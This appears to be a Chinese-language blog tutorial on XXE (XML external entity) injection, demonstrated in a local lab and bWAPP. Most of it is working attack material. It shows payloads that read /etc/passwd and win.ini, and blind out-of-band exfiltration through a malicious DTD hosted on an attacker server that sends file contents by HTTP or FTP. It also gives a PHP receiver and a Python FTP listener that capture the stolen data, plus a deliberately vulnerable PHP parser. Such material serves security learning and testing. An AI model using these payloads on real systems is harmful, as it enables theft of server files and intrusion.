1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> // XML声明 <!DOCTYPE note [ //定义类型 <!ELEMENT note (to ,from ,heading ,body )> //定义元素 <!ELEMENT to (#PCDATA )> <!ELEMENT from (#PCDATA )> // 文档类型定义 <!ELEMENT heading (#PCDATA )> <!ELEMENT body (#PCDATA )> ]> <note > <to > lixin</to > <from > shiyan</from > // 文档元素 <heading > Reminder</heading > <body > Hurry up and send out XXE's article</body > </note >
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 DTD 主要用来解释文档元素的,它有三种应用形式:
1.内部DTD文档
2.外部DTD文档
1 <!DOCTYPE 根元素 SYSTEM "文件名" >
3内外部DTD文档结合
1 <!DOCTYPE 根元素 SYSTEM "DTD文件路劲" [定义内容]>
DTD文档中有很多重要的关键词:
DOCTYPE(DTD的声明) ENTITY(实体的声明) SYSTEM、PUBLIC(外部资源申请)
而实体可以理解为变量,它必须在DTD中定义申明,然后再文档中的其他位置引用该变量,实体也是分三种 形式,分别是:
1.内部实体 2.外部实体 3.参数实体 OR
XXE主要分为回显和不回显两个类型。 一般在测试 XXE 的时候,通过 POST 一个 XML 请求,看是出现了报错还是正常的实体解析, 比如 POST 一个 shiyan 如果返回页面只出现了 shiyan 则说明正常的实体解析了。 当然也可以 POST 一个这样的完整的 XML代码:
1 2 3 4 5 6 7 <pre><? xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY test "shiyan" > ]> <note>&test;</note> </pre>
下面是一个测试代码,可以复制到搭建的环境中, 然后本地 POST 尝试下。
1 2 3 4 5 6 7 8 9 10 <form method ="POST" action ="" > <textarea name ="keyword" value ="" style ="width: 500px; height: 300px" > </textarea > <input type ="submit" value ="submit" > </form > <?php keyword = _POST['keyword']; xml_obj = simplexml_load_string(keyword); print_r($xml_obj); ?>
如果发现支持实体解析,那么就开始尝试是否能引入外部实体了。
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE root [ <!ENTITY shiyan SYSTEM "file://localhost/c:/windows/win.ini" > ]> <root > &shiyan; </root >
OR
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY test SYSTEM "file:///etc/passwd" > ]> <note > &test; </note > </pre >
这两个都一样,只不过是上面的那个是查找 windows/win 下的,下面的那个是 linux 下的代码。 对了,有些情况下,会直接看到 POST 中存在一些 XML 文档元素,我们可以手动的在这些文档元素中, 随便输入一些数字或者字母,看看回显的内容中有没有存在可控的参数,如果存在,可以尝试引入外部实体来 控制这个可控的参数进行注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /bWAPP/xxe-2.php HTTP/1.1 Host : 127.0.0.1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding : gzip, deflateContent-type : text/xml; charset=UTF-8Referer : http://127.0.0.1/bWAPP/xxe-1.phpContent-Length : 59Cookie : bdshare_firstime=1504239219561; PHPSESSID=qke00v8tqre5b4tdfcjchmb155; security_level=0X-Forwarded-For : 0.0.0.0Connection : close<reset > <login > bee</login > <secret > Any bugs?</secret > </reset >
在这个数据包中,我们发现 bee 这个参数是可控的,我们可以构造如下数据包,进行尝试是否可以注入读取文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /bWAPP/xxe-2.php HTTP/1.1 Host : 127.0.0.1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding : gzip, deflateContent-type : text/xml; charset=UTF-8Referer : http://127.0.0.1/bWAPP/xxe-1.phpContent-Length : 193Cookie : bdshare_firstime=1504239219561; PHPSESSID=qke00v8tqre5b4tdfcjchmb155; security_level=0X-Forwarded-For : 0.0.0.0Connection : close <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY test SYSTEM "file://localhost/c:/windows/win.ini"> ]> <reset> <login>&test;</login> <secret>shiyan</secret> </reset> </pre
查看响应包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <pre> HTTP/1.1 200 OK Date: Thu, 05 Oct 2017 14:29:52 GMT Server: Apache/2.4.10 (Win32) OpenSSL/1.0.1h PHP/5.4.31 X-Powered-By: PHP/5.4.31 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no -store, no -cache, must-revalidate, post-check=0, pre-check=0 Pragma: no -cache Content-Length: 96 Connection: close Content-Type: text/html ; for 16 -bit app support [fonts ] [extensions ] [mci extensions ] [files ]'s secret has been reset!
成功回显了我们读取的内容。 这个是在有回显的情况下这样操作的,当页面是无回显的,就是报错页面出现xml解析器,或者出现一些空白页面 和报错出现绝对路径等等一些情况,我们无法判断是否支持外部引入实体,那么可以这样操作。
向存在可控参数的地方注入一条向自己服务器发送请求的xml代码
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY test SYSTEM "http://localhost/2.txt" > //localhost 为自己服务器的URL地址]> <note > &test; </note >
然后我们查看自己服务器日志,可以看出来是否存在外部引入实体。
1 2 ::1 - - [06/Oct/2017:11:19:25 +0800] "GET /2.txt HTTP/1.0" 200 49 "-" "-" 127.0.0.1 - - [06/Oct/2017:11:19:25 +0800] "POST /XXE/test.php HTTP/1.1" 200 325 "http://127.0.0.1/XXE/test.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
可以看出来,存在外部引入,当然我们也可以用参数实体来测试。
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE root [ <!ENTITY % shiyan SYSTEM "http://localhost/2.txt" > %shiyan; ]>
然后我们继续查看日志,看看参数实体可行不。
1 2 ::1 - - [06/Oct/2017:11:31:18 +0800] "GET /2.txt HTTP/1.0" 200 49 "-" "-" 127.0.0.1 - - [06/Oct/2017:11:31:18 +0800] "POST /XXE/test.php HTTP/1.1" 200 1527 "http://127.0.0.1/XXE/test.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
同样的,都成功了,那么就存在外部实体引入,那就很可能存在XXE注入,因为他是无回显的,所以我 们只能用 blind xxe 来达到攻击效果。
blind xxe 的原理很简单,就是建立一条带外信道提取数据,利用外部实体中的 URL 发出访问,从而跟攻击者的公网主机 ,也就是一台攻击者的服务器,从而达到数据的读取。
我们还是利用上面的那个那个代码来当环境,来本地搭建解释下这个原理。
1 2 3 4 5 6 7 8 9 10 11 <form method="POST" action=""> <textarea name="keyword" value="" style="width: 500px; height: 300px"></textarea> <input type="submit" value="submit"> </form> <?php $keyword = $_POST['keyword']; $xml_obj = simplexml_load_string($keyword); echo "---shiyan----" ; print_r($xml_obj); ?>
然后,我们开始构造 payload 1 的 XML 代码:
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///G:/1.txt" > <!ENTITY % remote SYSTEM "http://192.168.1.106/XXE/ceshi/evil.dtd" > %remote; %send; ]>
其中,第三行把 file 找到的内容赋值给参数 %file ,然后第四行为外部引入攻击者自己服务器的 DTD 文档 然后第五行执行下这个参数 %remote; ,第六行的 %send; 为攻击者自己服务器的 DTD文档 里的参数实体。
http://192.168.1.106/XXE/ceshi/evil.dtd 的内容:
1 2 3 4 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.1.106/XXE/ceshi/1.php?file=%file;'>" > %all;
这里是参数实体 %all 的值为后面 “” 这个字符串里的内容,而这个字符串里的内容为把一开始发送的 payload 1 里的 file协议 找到的内容作为参数发送到攻击者着的服务器里的另一个 1.php 文件里, 而这个字符串赋值给了参数 %send; ,在这里先运行了下 %all; 所以在一开始的那个 payload 1 里 只运行了 %send; 这个值是上面解释的那些内容,那我们再看下这个 1.php 里到底是什么内容吧。
1.php 内容:
1 2 3 <?php file_put_contents ("1.txt" , $_GET ['file' ]);?>
就是把接受到的参数写到 1.TXT 这个文档里,可能看到这里,会有点乱的感觉,我在整理下思路。 整个过程都是本地的,只是模拟下原理,攻击者(公网) 向存在 XXE 漏洞的服务器发送了一条payload ,这个 payload 的功能是查找服务器本机某个文件,然后向攻击者着的服务器请求一条URL请求,获取这个 恶意的 dtd 内容,当存在漏洞的服务器读取到这个 dtd 的内容为把一开始自己找的本地的那个文件 内容做为参数去传递给攻击者服务器的这个 1.php 文件,这个1.php 的文件是把获取的这个参数本地保存 下来,从而,就这样的得到了回显的内容。
在那个 dtd 文档里,用编码 % 代替了 % 是因为嵌套引用外部参数实体,如果直接利用%,在引用的时候会导致找不到该参数实体名称 ,我们先演示一下上面的样例。
1 2 3 192.168.1.106 - - [06/Oct/2017:17:04:20 +0800] "GET /XXE/ceshi/evil.dtd HTTP/1.0" 200 108 "-" "-" 192.168.1.106 - - [06/Oct/2017:17:04:20 +0800] "GET /XXE/ceshi/1.php?file=shiyan521,nishizuiyouxiudebaimaozi! HTTP/1.0" 200 - "-" "-" 127.0.0.1 - - [06/Oct/2017:17:04:20 +0800] "POST /XXE/ceshi/test1.php HTTP/1.1" 200 603 "http://127.0.0.1/XXE/ceshi/test1.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
我们查看日志,可以发现这个攻击成功了,但是有一点,就是这样的读取文件的时候,如果文件里存在空格 和尖括号的时候,这这种读取方式就会报错,然后攻击失败,由于本机环境是用的PHP的环境,所以可以 使用 php://filter读取base64编码 这个方式来读取,就不会出错了,那我们改下 payload 1 来测试下。
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini" > <!ENTITY % remote SYSTEM "http://192.168.1.106/XXE/ceshi/evil.dtd" > %remote; %send; ]>
我们查看下那个 1.txt 文件,
1 OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCg==
是 base64 编码的,我们解码一下。
1 2 3 4 5 ; for 16-bit app support [fonts] [extensions] [mci extensions] [files]
成功的读取到了文件内容,这就是简单的原理,一般我们都是用的 vps ,然后利用 ftp 协议来 读取的,那我们再演示一下真正的攻击过程。
这个思路和上面的原理一样,准备一台客户端,可以内网,当然公网主机最好了,然后存在漏洞的web服务器, 和 VPS ,如果直接公网主机的话,那就省了。
客户端发送 payload 1 给存在漏洞的 web 服务器
web 服务器向 VPS 获取到恶意的 DTD ,并执行读取到的这个恶意的 DTD 内容
web 服务器把读取本机的那个文件的内容去访问特定 FTP 或者 HTTP
攻击者通过 VPS 监听这个特定的端口得到回显的内容
payload 1 :
1 2 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://攻击者公网主机地址/test.xml" > %remote;]>
和上面的思路一样,把 payload 1 发送给存在漏洞的 Web 服务器,然后存在漏洞的 web 服务器 会去访问这个 xml 的内容。
test.xml :
1 2 3 4 <!ENTITY % file SYSTEM "file:///etc/passwd" > <!ENTITY % aaa "<!ENTITY % bbb SYSTEM 'ftp://攻击者(公网):xx/%file;'>" > %aaa; %bbb;
端口可以随便设置一些空闲的端口,看到这里,是不是和上面的思路差不多,都是通过 URL来带入参数的。
这里说一下,结合着上面的内容,我们都需要把 < > “ ‘ 都HTML实体编码一下,payload 1 的编码就行了,第二个只需要 编码那一个符号就行,我已经编码了。
< < 小于 > > 大于 ' ‘ 单引号 " “ 双引号
由于我本人没有公网的 VPS 所以,这个就不实体再编码一下了,毕竟,我没实战漏洞环境和 VPS 啊啊啊啊!!!
当我们把这 test.xml 部署好后,然后向存在漏洞的 Web 服务器发送 payload 1 的内容后, 我们剩下的就是在 VPS 里,打开 ftp.py 监听 自己设置的特定端口就行了。
我本地复现了使用 ftp.py 的过程,但是由于我环境的问题还是什么原因,接受的结果都是无法正常获取信息,不过 作为笔记,我还是把过程写下来。
打开虚拟机环境部署上面那个一直用的测试xml的PHP代码(192.168.1.112)
本机环境下添加 shiyan.xml 内容,并打开 XAMPP 集成环境工具(192.168.1.106)
1 2 3 4 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini" > <!ENTITY % aaa "<!ENTITY % bbb SYSTEM 'ftp://192.168.1.106:1314/%file;'>" > %aaa; %bbb;
由于在传输信息中,有空格或者有换行的,都无法正常获取的,所以我继续用了 php://filter读取base64编码 这个编码 来读取信息,正常实战环境中,好像不用,,,,我看 i春秋 上面的那个就是直接利用 file协议 。
打开 cmd 运行监听 ftp 的 ftp.py 的脚本,由于我本人对 socket 真心不太会,就懂个开启一个链接,然后设置下端口 开始监听,和一些简单的传输,我用的 luan 的 ftp.py 的脚本,下面贴一下核心简版的,毕竟传播 exp 是那个啥的行为。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import socket,sys s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0' ,1314 )) s.listen(1 )print ('XXE-FTP listening' )while True : ss, addr = s.accept() ss.settimeout(1 ) try : data = ss.recv(10240 ).rstrip('\r\n' ) if data[:5 ] == 'GET /' : print 'HTTP connect from' , ':' .join(map (lambda x:str (x),addr)) print data print '\n\n' ss.send(dtd) except socket.timeout: print 'FTP connect from' , ':' .join(map (lambda x:str (x),addr)) ss.settimeout(None ) ss.send('220 web Server\r\n' ) print 'Data:' while True : data = ss.recv(10240 ).rstrip('\r\n' ) if data[:4 ] == 'USER' : ss.send('200 Ok\r\n' ) elif data[:4 ] == 'TYPE' : ss.send('200 Ok\r\n' ) elif data[:4 ] == 'SIZE' : ss.send('200 Ok\r\n' ) elif data[:3 ] == 'CWD' : sys.stdout.write(data[4 :].rstrip('/web' )) if '\n' not in data: sys.stdout.write('/' ) ss.send('200 Ok\r\n' ) elif data[:4 ] == 'EPRT' : lan_ip = data.split(data[5 ])[2 ] print '\n=================================' print 'Got IP =>' ,lan_ip ss.send('200 Ok\r\n' ) else : ss.send('666 web\r\n' ) print '\nspecial command received:' ,data print '\n\n' break ss.close() s.close()
向服务器端发送 payload 1 的内容(POST 192.168.1.112)
1 2 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.1.106/XXE/shiyan.xml" > %remote;]>
虽说我的 ftp.py 报错了,但是还是接受到一堆数据。。。(PS:他的这个ftp,要是懂的话,还得再改改,不懂的话, 就直接用下面压缩包里 ichunqiu 里的那个 ftp.py 把)
1 2 3 4 5 6 7 8 9 10 11 C:\Users \shiyan >G :/shiyan.py XXE -FTP listening FTP connect from 192.168.1.112:1165Data :/OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQpbTUNJIEV4dGVuc2lvbnMuQkFLXQ0KYWlmPU1QRUdWaWRlbw0KYWlmYz1NUEVHVmlkZW8NCmFpZmY9TVBFR1ZpZGVvDQphc2Y9TVBFR1ZpZGVvDQphc3g9TVBFR1ZpZGVvDQphdT1NUEVHVmlkZW8NCm0xdj1NUEVHVmlkZW8NCm0zdT1NUEVHVmlkZW8NCm1wMj1NUEVHVmlkZW8NCm1wMnY9TVBFR1ZpZGVvDQptcDM9TVBFR1ZpZGVvDQptcGE9TVBFR1ZpZGVvDQptcGU9TVBFR1ZpZGVvDQptcGVnPU1QRUdWaWRlbw0KbXBnPU1QRUdWaWRlbw0KbXB2Mj1NUEVHVmlkZW8NCnNuZD1NUEVHVmlkZW8NCndheD1NUEVHVmlkZW8NCndtPU1QRUdWaWRlbw0Kd21hPU1QRUdWaWRlbw0Kd212PU1QRUdWaWRlbw0Kd214PU1QRUdWaWRlbw0Kd3BsPU1QRUdWaWRlbw0Kd3Z4PU1QRUdWaWRlbw0K / special command received : MDTM /OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQpbTUNJIEV4dGVuc2lvbnMuQkFLXQ0KYWlmPU1QRUdWaWRlbw0KYWlmYz1NUEVHVmlkZW8NCmFpZmY9TVBFR1ZpZGVvDQphc2Y9TVBFR1ZpZGVvDQphc3g9TVBFR1ZpZGVvDQphdT1NUEVHVmlkZW8NCm0xdj1NUEVHVmlkZW8NCm0zdT1NUEVHVmlkZW8NCm1wMj1NUEVHVmlkZW8NCm1wMnY9TVBFR1ZpZGVvDQptcDM9TVBFR1ZpZGVvDQptcGE9TVBFR1ZpZGVvDQptcGU9TVBFR1ZpZGVvDQptcGVnPU1QRUdWaWRlbw0KbXBnPU1QRUdWaWRlbw0KbXB2Mj1NUEVHVmlkZW8NCnNuZD1NUEVHVmlkZW8NCndheD1NUEVHVmlkZW8NCndtPU1QRUdWaWRlbw0Kd21hPU1QRUdWaWRlbw0Kd212PU1QRUdWaWRlbw0Kd214PU1QRUdWaWRlbw0Kd3BsPU1QRUdWaWRlbw0Kd3Z4PU1QRUdWaWRlbw0K FTP connect from 192.168.1.112:1166Data :special command received : EPSV
由于是报错状态,所以脚本没有正常退出,不过通过 base64解码还是能得到传输的数据
1 2 3 4 5 6 7 8 ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [MCI Extensions.BAK]
总体来说也就这些东西。
参考文章:http://www.loner.fm/bugs/bug_detail.php?wybug_id=wooyun-2014-074069 https://security.tencent.com/index.php/blog/msg/69 http://blog.csdn.net/u011721501/article/details/43775691 https://www.ichunqiu.com/open/58939 https://thief.one/2017/06/20/1/ http://bobao.360.cn/learning/detail/3841.html
两个 ftp.py (一个是 ichunqiu 的,一个是luan的,ichunqiu 的我应该没看错代码):
链接: https://pan.baidu.com/s/1c8loEq 密码: tq8p
PS:ftp.py 主要是使用ftp协议,而ftp协议不同于http协议是,http是一次性的数据包,而我们的数据都是在URL中,如果 读取的文件中出现空格或者换行就违背了协议,无法传输,所以一开始那个我用的编码来传输,而 ftp 是交互式的,先建立连接 然后根据不停的状态码的交互,最后获取到数据,所以空格,换行没什么问题,这也是 ftp.py 里后面我不懂的那些部分代码
容易存在XXE的地方: 1.基于XML的RPC服务 或 基于SOAP的WebService 2.开发框架的对Content-Type智能识别导致的XXE 3.使用SAML的登录接口 4.解析DOCX文件
强制报错回显:
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo SYSTEM "http://xxe.sh1yan.top/shiyan.dtd" > <root > <search > name</search > </root >
DTD文档:
1 2 3 4 <!ENTITY % payload SYSTEM "file:///etc/passwd" > <!ENTITY % paraml '<!ENTITY % external SYSTEM "file:///nothere/%payload;">' > %paraml; %external;